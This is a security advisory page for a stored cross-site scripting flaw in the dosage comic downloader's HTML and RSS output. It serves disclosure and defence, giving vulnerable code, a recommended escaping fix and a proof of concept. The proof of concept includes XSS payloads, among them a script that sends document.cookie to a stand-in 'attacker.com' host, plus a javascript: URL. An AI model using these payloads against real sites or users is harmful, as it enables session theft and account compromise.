GHSA-75MW-H36V-2JV7

Vulnerability from github – Published: 2026-06-26 21:03 – Updated: 2026-07-21 19:53
VLAI
Summary
Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers
Details

Summary

The HTML and RSS output handlers in dosagelib/events.py write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser.

CWE: CWE-79 - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)


Details

Vulnerable Code Locations

The vulnerability exists in dosagelib/events.py where untrusted content is written to HTML/RSS output without escaping:

1. RSSEventHandler (lines 116-118)

# events.py:116-118
if comic.text:
    description += '<br/>%s' % comic.text        # ← Unescaped comic.text
description += '<br/><a href="%s">View Comic Online</a>' % pageUrl  # ← Unescaped URL

2. HtmlEventHandler (lines 232, 238)

# events.py:232
self.html.write(u'<li><a href="%s">%s</a>\n' % (pageUrl, pageUrl))  # ← Unescaped URL

# events.py:238
if text:
    self.html.write(u'<br/>%s\n' % text)  # ← Unescaped text

Root Cause

  • BasicScraper.fetchText() in scraper.py:422 calls html.unescape() on extracted text
  • The output handlers never call html.escape() before writing to files
  • No sanitization of URLs or text content occurs anywhere in the output pipeline

Data Flow

Malicious webcomic page
    ↓
textSearch XPath extracts content (e.g., img/@title, div text)
    ↓
BasicScraper.fetchText() calls html.unescape()
    ↓
comic.text stored without sanitization
    ↓
HtmlEventHandler/RSSEventHandler writes to file without html.escape()
    ↓
Generated HTML/RSS contains executable JavaScript

PoC

I created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source.

Prerequisites

  • Docker installed and running

PoC Files

Create these files in a poc/ directory:

1. poc/Dockerfile

FROM python:3.11-slim

LABEL description="PoC for dosage Stored XSS vulnerability (CWE-79)"

WORKDIR /app
COPY . /app

# Install dependencies
RUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs

# Install dosage
ENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0
RUN pip install --no-cache-dir --quiet .

CMD ["python", "poc/poc.py"]

2. poc/poc.py

#!/usr/bin/env python3
"""
PoC: Stored XSS in dosage HTML/RSS Output Handlers
Demonstrates that untrusted comic content is written to output files unescaped.
"""

import sys
from pathlib import Path
from types import SimpleNamespace

from dosagelib.events import HtmlEventHandler, RSSEventHandler

# XSS payloads simulating malicious webcomic content
MALICIOUS_TEXT = "Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>"
MALICIOUS_URL = "javascript:alert('XSS-via-URL')"

def check_vulnerability(content: str, marker: str, description: str) -> bool:
    """Check if unescaped marker appears in content."""
    if marker.lower() in content.lower():
        print(f"  [VULNERABLE] {description}")
        print(f"               Found unescaped: {marker}")
        return True
    print(f"  [SAFE] {description}")
    return False

def main():
    print("=" * 70)
    print("PoC: Stored XSS in dosage HTML/RSS Output Handlers")
    print("=" * 70)
    print()

    base = Path(__file__).parent / "output"
    base.mkdir(parents=True, exist_ok=True)

    # Create dummy image file
    img_path = base / "payload.png"
    img_path.write_bytes(b"\x89PNG\r\n\x1a\n")

    # Simulate comic with malicious content
    comic = SimpleNamespace(
        scraper=SimpleNamespace(name="MaliciousComic"),
        referrer=MALICIOUS_URL,
        text=MALICIOUS_TEXT,
        url="http://example.com/comic.png"
    )

    vulnerabilities_found = 0

    # Test RSS Handler
    print("[*] Testing RSSEventHandler...")
    rss_handler = RSSEventHandler(str(base), None, False)
    rss_handler.start()
    rss_handler.comicDownloaded(comic, str(img_path))
    rss_handler.end()

    rss_path = Path(rss_handler.rssfn)
    rss_content = rss_path.read_text(encoding="utf-8")
    print(f"    Output file: {rss_path}")

    if check_vulnerability(rss_content, "javascript:", "pageUrl in RSS href"):
        vulnerabilities_found += 1

    # Test HTML Handler  
    print()
    print("[*] Testing HtmlEventHandler...")
    html_handler = HtmlEventHandler(str(base), None, False)
    html_handler.start()
    html_path = Path(html_handler.html.name)
    html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT)
    html_handler.end()

    html_content = html_path.read_text(encoding="utf-8")
    print(f"    Output file: {html_path}")

    if check_vulnerability(html_content, "<script>", "text param in HTML"):
        vulnerabilities_found += 1
    if check_vulnerability(html_content, "javascript:", "pageUrl in HTML link"):
        vulnerabilities_found += 1

    # Show vulnerable content
    print()
    print("-" * 70)
    print("Vulnerable Content in Generated HTML:")
    print("-" * 70)
    for line in html_content.splitlines():
        if "<script>" in line.lower() or "javascript:" in line.lower():
            print(f"  {line}")

    print()
    print("=" * 70)
    print(f"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!")
    print("=" * 70)

    return 0 if vulnerabilities_found > 0 else 1

if __name__ == "__main__":
    sys.exit(main())

3. poc/run_poc.sh

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"

echo "[*] Building PoC Docker image..."
docker build -t dosage-xss-poc -f "${SCRIPT_DIR}/Dockerfile" "${ROOT_DIR}" --quiet

echo "[*] Running PoC..."
docker run --rm dosage-xss-poc

echo "[*] Cleanup: docker rmi dosage-xss-poc"

Running the PoC

cd /path/to/dosage
chmod +x poc/run_poc.sh
./poc/run_poc.sh

PoC Output

======================================================================
PoC: Stored XSS in dosage HTML/RSS Output Handlers
======================================================================

[*] Testing RSSEventHandler...
    Output file: /app/poc/output/dailydose.rss
  [VULNERABLE] pageUrl in RSS href
               Found unescaped: javascript:

[*] Testing HtmlEventHandler...
    Output file: /app/poc/output/html/comics-20251210.html
  [VULNERABLE] text param in HTML
               Found unescaped: <script>
  [VULNERABLE] pageUrl in HTML link
               Found unescaped: javascript:

----------------------------------------------------------------------
Vulnerable Content in Generated HTML:
----------------------------------------------------------------------
  <li><a href="javascript:alert('XSS-via-URL')">javascript:alert('XSS-via-URL')</a>
  <br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>

======================================================================
RESULT: 3 XSS vulnerability vectors confirmed!
======================================================================

The output shows that: 1. The javascript: URL is written directly into <a href> attributes 2. The <script> tag from comic text appears unescaped in the HTML body


Impact

Who is affected?

  • Users who use dosage --output html or dosage --output rss options
  • Anyone who opens the generated HTML/RSS files in a browser

Attack scenario

  1. Attacker creates or compromises a webcomic site
  2. Attacker injects JavaScript into image title/alt attributes: html <img src="comic.png" title="Funny!<script>alert(1)</script>">
  3. Victim runs: dosage MaliciousComic --output html
  4. The generated Comics/html/comics-YYYYMMDD.html contains the unescaped script
  5. When victim opens the file, JavaScript executes

Potential consequences

  • Cookie theft if files are served over HTTP
  • Local file access via file:// protocol
  • Phishing attacks through DOM manipulation

Recommended Fix

Escape all user-controlled content before writing to HTML/RSS:

import html

# In RSSEventHandler.comicDownloaded() - events.py around line 116:
if comic.text:
    description += '<br/>%s' % html.escape(comic.text)
description += '<br/><a href="%s">View Comic Online</a>' % html.escape(pageUrl)

# In HtmlEventHandler.comicDownloaded() - events.py around line 232:
self.html.write(u'<li><a href="%s">%s</a>\n' % (html.escape(pageUrl), html.escape(pageUrl)))

# events.py around line 238:
if text:
    self.html.write(u'<br/>%s\n' % html.escape(text))

For URLs, validating that they use safe protocols (http://, https://) would also help prevent javascript: URLs.


Resources


Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "dosage"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T21:03:43Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe HTML and RSS output handlers in `dosagelib/events.py` write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser.\n\n**CWE**: [CWE-79](https://cwe.mitre.org/data/definitions/79.html) - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)\n\n---\n\n## Details\n\n### Vulnerable Code Locations\n\nThe vulnerability exists in `dosagelib/events.py` where untrusted content is written to HTML/RSS output without escaping:\n\n**1. RSSEventHandler (lines 116-118)**\n```python\n# events.py:116-118\nif comic.text:\n    description += \u0027\u003cbr/\u003e%s\u0027 % comic.text        # \u2190 Unescaped comic.text\ndescription += \u0027\u003cbr/\u003e\u003ca href=\"%s\"\u003eView Comic Online\u003c/a\u003e\u0027 % pageUrl  # \u2190 Unescaped URL\n```\n\n**2. HtmlEventHandler (lines 232, 238)**\n```python\n# events.py:232\nself.html.write(u\u0027\u003cli\u003e\u003ca href=\"%s\"\u003e%s\u003c/a\u003e\\n\u0027 % (pageUrl, pageUrl))  # \u2190 Unescaped URL\n\n# events.py:238\nif text:\n    self.html.write(u\u0027\u003cbr/\u003e%s\\n\u0027 % text)  # \u2190 Unescaped text\n```\n\n### Root Cause\n\n- `BasicScraper.fetchText()` in `scraper.py:422` calls `html.unescape()` on extracted text\n- The output handlers never call `html.escape()` before writing to files\n- No sanitization of URLs or text content occurs anywhere in the output pipeline\n\n### Data Flow\n\n```\nMalicious webcomic page\n    \u2193\ntextSearch XPath extracts content (e.g., img/@title, div text)\n    \u2193\nBasicScraper.fetchText() calls html.unescape()\n    \u2193\ncomic.text stored without sanitization\n    \u2193\nHtmlEventHandler/RSSEventHandler writes to file without html.escape()\n    \u2193\nGenerated HTML/RSS contains executable JavaScript\n```\n\n---\n\n## PoC\n\nI created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source.\n\n### Prerequisites\n- Docker installed and running\n\n### PoC Files\n\nCreate these files in a `poc/` directory:\n\n**1. `poc/Dockerfile`**\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"PoC for dosage Stored XSS vulnerability (CWE-79)\"\n\nWORKDIR /app\nCOPY . /app\n\n# Install dependencies\nRUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs\n\n# Install dosage\nENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0\nRUN pip install --no-cache-dir --quiet .\n\nCMD [\"python\", \"poc/poc.py\"]\n```\n\n**2. `poc/poc.py`**\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Stored XSS in dosage HTML/RSS Output Handlers\nDemonstrates that untrusted comic content is written to output files unescaped.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nfrom dosagelib.events import HtmlEventHandler, RSSEventHandler\n\n# XSS payloads simulating malicious webcomic content\nMALICIOUS_TEXT = \"Funny Comic!\u003cscript\u003efetch(\u0027http://attacker.com/?c=\u0027+document.cookie)\u003c/script\u003e\"\nMALICIOUS_URL = \"javascript:alert(\u0027XSS-via-URL\u0027)\"\n\ndef check_vulnerability(content: str, marker: str, description: str) -\u003e bool:\n    \"\"\"Check if unescaped marker appears in content.\"\"\"\n    if marker.lower() in content.lower():\n        print(f\"  [VULNERABLE] {description}\")\n        print(f\"               Found unescaped: {marker}\")\n        return True\n    print(f\"  [SAFE] {description}\")\n    return False\n\ndef main():\n    print(\"=\" * 70)\n    print(\"PoC: Stored XSS in dosage HTML/RSS Output Handlers\")\n    print(\"=\" * 70)\n    print()\n\n    base = Path(__file__).parent / \"output\"\n    base.mkdir(parents=True, exist_ok=True)\n\n    # Create dummy image file\n    img_path = base / \"payload.png\"\n    img_path.write_bytes(b\"\\x89PNG\\r\\n\\x1a\\n\")\n\n    # Simulate comic with malicious content\n    comic = SimpleNamespace(\n        scraper=SimpleNamespace(name=\"MaliciousComic\"),\n        referrer=MALICIOUS_URL,\n        text=MALICIOUS_TEXT,\n        url=\"http://example.com/comic.png\"\n    )\n\n    vulnerabilities_found = 0\n\n    # Test RSS Handler\n    print(\"[*] Testing RSSEventHandler...\")\n    rss_handler = RSSEventHandler(str(base), None, False)\n    rss_handler.start()\n    rss_handler.comicDownloaded(comic, str(img_path))\n    rss_handler.end()\n    \n    rss_path = Path(rss_handler.rssfn)\n    rss_content = rss_path.read_text(encoding=\"utf-8\")\n    print(f\"    Output file: {rss_path}\")\n    \n    if check_vulnerability(rss_content, \"javascript:\", \"pageUrl in RSS href\"):\n        vulnerabilities_found += 1\n\n    # Test HTML Handler  \n    print()\n    print(\"[*] Testing HtmlEventHandler...\")\n    html_handler = HtmlEventHandler(str(base), None, False)\n    html_handler.start()\n    html_path = Path(html_handler.html.name)\n    html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT)\n    html_handler.end()\n\n    html_content = html_path.read_text(encoding=\"utf-8\")\n    print(f\"    Output file: {html_path}\")\n    \n    if check_vulnerability(html_content, \"\u003cscript\u003e\", \"text param in HTML\"):\n        vulnerabilities_found += 1\n    if check_vulnerability(html_content, \"javascript:\", \"pageUrl in HTML link\"):\n        vulnerabilities_found += 1\n\n    # Show vulnerable content\n    print()\n    print(\"-\" * 70)\n    print(\"Vulnerable Content in Generated HTML:\")\n    print(\"-\" * 70)\n    for line in html_content.splitlines():\n        if \"\u003cscript\u003e\" in line.lower() or \"javascript:\" in line.lower():\n            print(f\"  {line}\")\n\n    print()\n    print(\"=\" * 70)\n    print(f\"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!\")\n    print(\"=\" * 70)\n    \n    return 0 if vulnerabilities_found \u003e 0 else 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n**3. `poc/run_poc.sh`**\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nROOT_DIR=\"$(cd \"${SCRIPT_DIR}/..\" \u0026\u0026 pwd)\"\n\necho \"[*] Building PoC Docker image...\"\ndocker build -t dosage-xss-poc -f \"${SCRIPT_DIR}/Dockerfile\" \"${ROOT_DIR}\" --quiet\n\necho \"[*] Running PoC...\"\ndocker run --rm dosage-xss-poc\n\necho \"[*] Cleanup: docker rmi dosage-xss-poc\"\n```\n\n### Running the PoC\n\n```bash\ncd /path/to/dosage\nchmod +x poc/run_poc.sh\n./poc/run_poc.sh\n```\n\n### PoC Output\n\n```\n======================================================================\nPoC: Stored XSS in dosage HTML/RSS Output Handlers\n======================================================================\n\n[*] Testing RSSEventHandler...\n    Output file: /app/poc/output/dailydose.rss\n  [VULNERABLE] pageUrl in RSS href\n               Found unescaped: javascript:\n\n[*] Testing HtmlEventHandler...\n    Output file: /app/poc/output/html/comics-20251210.html\n  [VULNERABLE] text param in HTML\n               Found unescaped: \u003cscript\u003e\n  [VULNERABLE] pageUrl in HTML link\n               Found unescaped: javascript:\n\n----------------------------------------------------------------------\nVulnerable Content in Generated HTML:\n----------------------------------------------------------------------\n  \u003cli\u003e\u003ca href=\"javascript:alert(\u0027XSS-via-URL\u0027)\"\u003ejavascript:alert(\u0027XSS-via-URL\u0027)\u003c/a\u003e\n  \u003cbr/\u003eFunny Comic!\u003cscript\u003efetch(\u0027http://attacker.com/?c=\u0027+document.cookie)\u003c/script\u003e\n\n======================================================================\nRESULT: 3 XSS vulnerability vectors confirmed!\n======================================================================\n```\n\nThe output shows that:\n1. The `javascript:` URL is written directly into `\u003ca href\u003e` attributes\n2. The `\u003cscript\u003e` tag from comic text appears unescaped in the HTML body\n\n---\n\n## Impact\n\n### Who is affected?\n- Users who use `dosage --output html` or `dosage --output rss` options\n- Anyone who opens the generated HTML/RSS files in a browser\n\n### Attack scenario\n1. Attacker creates or compromises a webcomic site\n2. Attacker injects JavaScript into image title/alt attributes:\n   ```html\n   \u003cimg src=\"comic.png\" title=\"Funny!\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003e\n   ```\n3. Victim runs: `dosage MaliciousComic --output html`\n4. The generated `Comics/html/comics-YYYYMMDD.html` contains the unescaped script\n5. When victim opens the file, JavaScript executes\n\n### Potential consequences\n- **Cookie theft** if files are served over HTTP\n- **Local file access** via `file://` protocol\n- **Phishing attacks** through DOM manipulation\n\n---\n\n## Recommended Fix\n\nEscape all user-controlled content before writing to HTML/RSS:\n\n```python\nimport html\n\n# In RSSEventHandler.comicDownloaded() - events.py around line 116:\nif comic.text:\n    description += \u0027\u003cbr/\u003e%s\u0027 % html.escape(comic.text)\ndescription += \u0027\u003cbr/\u003e\u003ca href=\"%s\"\u003eView Comic Online\u003c/a\u003e\u0027 % html.escape(pageUrl)\n\n# In HtmlEventHandler.comicDownloaded() - events.py around line 232:\nself.html.write(u\u0027\u003cli\u003e\u003ca href=\"%s\"\u003e%s\u003c/a\u003e\\n\u0027 % (html.escape(pageUrl), html.escape(pageUrl)))\n\n# events.py around line 238:\nif text:\n    self.html.write(u\u0027\u003cbr/\u003e%s\\n\u0027 % html.escape(text))\n```\n\nFor URLs, validating that they use safe protocols (`http://`, `https://`) would also help prevent javascript: URLs.\n\n---\n\n## Resources\n\n- [CWE-79: Cross-site Scripting (XSS)](https://cwe.mitre.org/data/definitions/79.html)\n- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [Python html.escape() documentation](https://docs.python.org/3/library/html.html#html.escape)\n\n---",
  "id": "GHSA-75mw-h36v-2jv7",
  "modified": "2026-07-21T19:53:21Z",
  "published": "2026-06-26T21:03:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/webcomics/dosage/security/advisories/GHSA-75mw-h36v-2jv7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webcomics/dosage/commit/b91fd5cc3889aed3d9cc81b98834648197b2859a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/webcomics/dosage"
    },
    {
      "type": "WEB",
      "url": "https://github.com/webcomics/dosage/releases/tag/3.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…